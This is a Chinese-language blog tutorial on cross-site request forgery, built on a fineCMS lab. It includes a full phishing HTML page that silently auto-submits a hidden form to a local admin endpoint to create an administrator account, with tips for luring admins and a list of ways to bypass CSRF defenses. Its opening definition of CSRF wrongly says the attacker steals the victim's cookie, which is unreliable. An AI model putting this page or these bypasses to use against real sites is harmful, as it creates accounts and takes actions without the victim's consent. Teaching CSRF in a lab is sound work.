跨站请求伪造——CSRF

2020-08-17 20:26:44 浏览数 (1)

csrf与xss的区别

csrf:需要受害者先登录网站A,然后获取受害者的 cookie,伪装成受害者;它是利用网站A本身的漏洞,去请求网站A的api。

xss:不需要受害者去登录;是直接向网站 A 注入 JS代码,然后网站A执行了 注入的JS代码。

简单来说: xss是你用自己注册的账号,往网站里注入代码,实施攻击。利用的是网站对你的信任

而CSRF是你通过某些手段拿到了受害者的cookie,然后伪装成受害者,发送恶意请求,比如:以受害者的名义发送邮件,发消息,盗取受害者的账号,虚拟货币转账…… 利用的是网站对受害者的信任

CSRF的介绍

CSRF(Cross-site request forgery)跨站请求伪造

通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 与XSS攻击相比,CSRF攻击往往不大流行(潜台词:对其进行防范的开发者也相当稀少)和难以防范,所以被认为比XSS更具危险性

常遇到的CSRF攻击:你在QQ群里点开了一个诱惑性很强的链接,结果一分钟后你也成为了在群里发链接的人

利用过程

一、A用户登录一个浏览器去执行一个动作

二、B用户利用工具抓包,抓取到A用户的这个动作,然后通过burp制作出一个csrf的请求页面

三、B用户在自己浏览器登录,并执行本属于A用户的csrf请求页面。

四、如果B用户执行成功,说明存在漏洞;如果不成功,则说明不存在漏洞或者存在漏洞,只是不能利用

实战

靶场下载

找到一个免费开源的网站管理系统,存在有xss、csrf漏洞

下载 fineCMS

安装方式安装包里有,这里就不多说了(建议安装在根目录)

过程

一、A用户登录浏览器执行动作

当管理员登录后台,准备添加用户时

二、B用户抓包制作csrf请求页面

抓到包后,点击一次发送

得到返回包,右击鼠标,选择相关工具,生成csrf

此时,可以把刚刚抓到的包放出去了

三、本地保存

把刚刚的csrf保存下来,这里我命名为0816.html

然后账号密码换成我想添加的,这里我把1234换成12345

然后在自己电脑上运行

不行,提示要登录。去拿管理员cookies太麻烦了,不如让管理员自己来执行操作

四、制作钓鱼网站

将这个html文档直接发送给管理员,让他执行;或者将文档上传到公网上,将链接发给管理员让他点。(一般人都是直接点浏览器上的x退出网页,而不是退出账号。所以如果没有设置cookies自动失效的话,cookie会一直保存在浏览器里。你下次点开网页,不用登录就可以直接进去,就是这个道理)

此时,你会发现多了两个账号,一个是管理员添加的1234,一个是你添加的12345

当然,管理员也没这么傻,看到来历不明的链接就乱点,而且点完之后还跳到。所以就要制作钓鱼网站了,这里我做了一个简单的页面

当管理员"点击进入"的时候,就已经中招了

如果你担心管理员不点击进入,你可以改成点击关闭广告,或者更猥琐点,只要管理员进入这个网页,就中招——哪怕他不执行任何操作

代码语言:javascript复制
<html>
<body bgcolor="#B0C4DE">
<style>
 #zxd_x{
 width:20px;
 height:20px;
 text-align:center;
 font-size:10px;
 color:red;
 position:absolute;
 right:20px; 
 top:20px;
 cursor:pointer;}
</style>



<iframe id="iframe_display" name="iframe_display" style="display: none;"></iframe>
<div id="zxd_x" style="z-index:999;display: block; position: fixed; left: 0px; top: 200px;">
 <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.0.111/admin.php?c=root&m=add" method="POST" id="test" target="iframe_display">>
      <input type="hidden" name="mark" value="0" />
      <input type="hidden" name="data&#91;username&#93;" value="123457" />
      <input type="hidden" name="data&#91;realname&#93;" value="123457" />
      <input type="hidden" name="data&#91;password&#93;" value="123457" />
      <input type="hidden" name="data&#91;email&#93;" value="123457&#64;12345&#46;com" />
      <input type="hidden" name="data&#91;phone&#93;" value="123457" />
      <input type="submit" value="点击进入" onclick="javascrtpt:window.kk='dym.html'"/>
    </form>
	 <div class="content"><a href=""><img src="images/1234.png"></a></div>
</div>	
<script>
document.test.submit();   //执行新建新用户的操作
</script>


<p><p>中法战争</p></p>


 <p>大理寺少卿曾纪泽自巴黎致总署总办 </p>

  光绪七年八月初一日<br/><br/>

  纪泽自俄回法,……二十一日到巴黎,强自挣扎至外部与桑迪里一谈越南之事;归而委顿床榻,数日不能坐立,昨日乃稍痊可,犹未屏医药也。<br/><br/>
  法之图越,蓄谋已久,断非口舌所能挽救。吾华海防水师渐有起色,如拨派数艘移近南服,敌人有所顾忌,或可不至于剥肤噬脐之悔。法人内慑于德,又丢尼斯之役未甚如意,断不敢与我轻开衅端。吾华自翻改俄约之后,声威较前日增,似是一好机会。此事全恃南北洋闽粤诸公齐心协力,奋发有为。纪泽未曾听得各省准主意、真消息,措词总难得势。
  兹将问答节略,钞寄台览。照会屡缮屡改,至今未发。事端重大,法文字句之间不敢不格外审慎,而才识之薄劣亦可于此征矣。<br/><br/>

  --------------------《曾惠敏公遗集﹒文集》卷四<br/><br/>
<br/><br/>


  <p>云贵总督刘长佑奏</p>
  <p>熟审边情敬陈管见疏</p>

  光绪七年九月十七日<br/><br/>

  ……臣闻智者见事于未形,贤者防患于未萌。至于患之已萌,形之已见,而犹长虑却顾,冀幸无事,则将来之变不可胜穷;其用力愈劳,其受害愈大;不如乘其始萌始见,挫其锋而伐其谋,用力少而收效远也。<br/><br/>
  <br/>臣以为边省者,中国之门户;外藩者,中国之藩篱。树藩篱所以卫门户,卫门户所以固堂室;藩篱陷则门户危,门户危则堂室震。伊古以来,聪明神武之君,及汉、唐雄略之主,力可以囊括宇内,而犹存要荒之君长,列边境之蛮夷者,凡以设藩屏以御殊族,树股肱而奠神州也。<br/><br/>故我圣祖皇帝亲征漠北,世宗扬威青海,高宗戡定金川,荡平回准,辟地二万余里,而犹存近海诸国,西自缅甸,东至朝鲜,不欲芟夷而郡县之者,所以屏蔽山海,捍卫神京也。<br/><br/>
  <br/>诸国修贡奉职,府无虚岁,传世嗣位,皆俟宠灵,正朔所加,爵命所及,世为不侵不叛之臣。其间亲莫如朝鲜,顺莫如琉球,恭莫如越南。朝鲜为盛京之门户,越南更与滇、粤为唇齿,视琉球之远在南海,形势更重。泰西诸国,自于印度及新加坡、槟榔屿设立埠头以后,法国之垂涎越南者已久,开市西贡,据其要害。<br/><br/>同治十一年,复通贼将黄崇英,规取越南之东京,聚兵合谋,思渡洪江以侵谅山诸处;又欲割越南、广西边界地六百里为伊驻兵之所。<br/><br/>臣时在广西巡抚任内,虽兵疲饷绌,余盗未平,即遣将弁出关往援。法人不悦,讦告通商衙门,谓臣包藏祸心,有意败盟。<br/><br/>赖毅皇帝圣明洞鉴,谅臣愚忠,乃得出师助剿,内外夹击。越南招用贼渠刘永福,以折法人沙酋之锋。广西援兵分为两路:左路则提督刘玉成一军,趋太原、北宁以次进剿;右路则道员赵沃一军,由兴化、宣光等处分击贼党,直抵安边、河阳,破崇英等巢穴,尽歼渠魁。<br/><br/>奉国威灵,将士用命,幸得保其东境;故法人寝谋不敢遽吞交趾者,将逮一纪。<br/>
 
  --------------------《刘武慎公遗书﹒奏稿》卷二十<br/>
</body>
</html>

csrf 防御

  1. REferer头防御
  2. 加验证码
  3. token
  4. 自定义请求头

csrf 绕过

  1. referer绕过把我们的csrf文件名改为信任的域名
  2. 第一看验证码是否生效,第二看验证码是否多次请求都不会过期
  3. 第一找token加密规则,第二使用xss来打击token
  4. 抓包查看私有请求头,然后通过xmlhttprequest来创建请求头

0 人点赞